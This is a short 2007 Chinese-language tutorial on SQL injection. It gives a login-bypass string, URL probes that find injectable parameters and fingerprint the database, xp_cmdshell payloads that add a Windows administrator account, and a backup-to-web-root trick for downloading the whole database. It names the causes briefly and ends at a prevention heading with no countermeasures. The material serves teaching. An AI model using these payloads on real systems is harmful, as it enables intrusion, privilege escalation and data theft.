<============================== SQL注入与防范基础 =============================>
Author:刘岚
Date: 2007-5-31
<================================================================================>
小例:
正常情况下 :select * from Users where login =‘正确帐户’ And password =‘正确密码’
输入 ’ or ‘’=‘ 会怎样 ?
sql语句变为:
Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’
看看where之后条件是不是就变为真了???
1.什么是SQL注入式攻击?
SQL Server注入式攻击就是攻击者用非法的SQL语句欺骗服务器,执行恶意的操作.
2.检测一个网站是否可以进行注入攻击?
1).Step1(是否可以进行攻击)
http://.../url.aspx?id=1 and 1=1 正常显示
http://.../url.aspx?id=1 and 1=2 内容为空
2).Step2(查看服务器用的是哪种数据库)
http://.../url.aspx?id=1 and (select count(*) from sysobjects)>0
执行成功,则证明服务器端所用为SQL Server数据库
http://.../url.aspx?id=1 and (select count(*) from msysobjects)>0
执行成功,则证明服务器端所用为Access数据库
3.怎样进行攻击呢???
1).利用系统表注入SQLServer数据库
http://.../url.aspx?id=1;exec master..xp_cmdshell “net user name password /add” --
说明:以上语句新建了用户名为name、密码为password的windows的帐号
http://.../url.aspx?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
说明:将新建的帐号name加入管理员组(此命令只限于sa账户,否则没有权限调用xp_cmdshell命令)
2).查看服务器所用的库与表
http://.../url.aspx?id=1 and db_name()>0
说明:db_name()>0 是一个系统变量,返回是数据库名
http://.../url.aspx?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
说明:将数据库备份到Web目录下面,再用http把整个数据库就完完整整的下载回来 (http://localhost/1.db).
下载之后对数据库1.db进行还原操作,之后就可以看到数据了.
4.注入式攻击的原因
攻击方式:
Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’
原因:动态生成Sql命令没有对用户输入的数据进行验证
攻击方式:
exec master..xp_cmdshell “net user name password /add
原因: 1).通过sql的漏洞
2).数据库访问权限的设计为dbo的权限
5.懂得攻击就可以防范了...